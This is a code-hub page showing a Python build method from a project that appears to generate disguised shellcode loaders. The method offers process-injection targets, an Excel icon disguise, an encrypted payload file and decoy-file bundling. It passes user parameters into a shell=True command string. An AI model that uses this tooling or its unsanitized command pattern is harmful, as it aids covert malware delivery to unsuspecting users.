MCPcopy Create free account
hub / github.com/echQoQ/RustSL / _build_rust_project

Method _build_rust_project

gui/worker.py:69–131  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

67 self.progress_signal.emit(40)
68
69 def _build_rust_project(self):
70 self.log_signal.emit('Building Rust project...')
71
72 self.target = self.params.get('target', 'x86_64-pc-windows-msvc')
73
74 features = self._build_features_list()
75 features_str = ','.join(features)
76
77 self.log_signal.emit(f'Features enabled for this build: {features_str}')
78 self.log_signal.emit(f'Build target: {self.target}')
79
80 manifest = load_plugins_manifest()
81 run_modes = manifest['run_modes']
82 run_mode_id = self.params['run_mode']
83 pattern = 1
84 for rm in run_modes:
85 if rm['id'] == run_mode_id:
86 pattern = rm.get('pattern', 1)
87 break
88
89 env_vars = {}
90 if pattern == 2:
91 env_vars['RSL_TARGET_PROGRAM'] = self.params.get('target_program', r'notepad.exe')
92 elif pattern == 3:
93 env_vars['RSL_TARGET_PID'] = self.params.get('target_pid', '0')
94
95 env_vars['RSL_ICON_PATH'] = self.params.get('icon_path', 'icons/excel.ico')
96
97 if self.params.get('load_payload_mode') == 'cmdline':
98 default_address = self.params.get('default_payload_address', 'encrypt.bin')
99 if default_address.strip(): # Ensure not empty
100 env_vars['RSL_DEFAULT_PAYLOAD_ADDRESS'] = default_address
101
102 if self.params.get('forgery_enable'):
103 bundle_file = self.params.get('bundle_file', '')
104 if not bundle_file:
105 raise ValueError('File bundling is enabled, but no bundle file was selected!')
106 env_vars['RSL_BUNDLE_FILE'] = bundle_file
107 env_vars['RSL_BUNDLE_FILENAME'] = os.path.basename(bundle_file)
108
109 env_cmd_parts = []
110 for key, value in env_vars.items():
111 env_cmd_parts.append(f'set "{key}={value}" && ')
112
113 build_cmd_str = ' '.join([
114 'cargo', 'build', '--release',
115 '--no-default-features',
116 '--target', self.target,
117 f'--features={features_str}'
118 ])
119
120 full_cmd = ''.join(env_cmd_parts) + build_cmd_str
121
122 result = subprocess.run(full_cmd, shell=True, capture_output=True, text=True, encoding='utf-8', errors='ignore')
123 self.log_signal.emit(result.stdout)
124 if result.stderr:
125 self.log_signal.emit(result.stderr)
126

Callers 1

runMethod · 0.95

Calls 3

_build_features_listMethod · 0.95
load_plugins_manifestFunction · 0.85
runMethod · 0.80

Tested by

no test coverage detected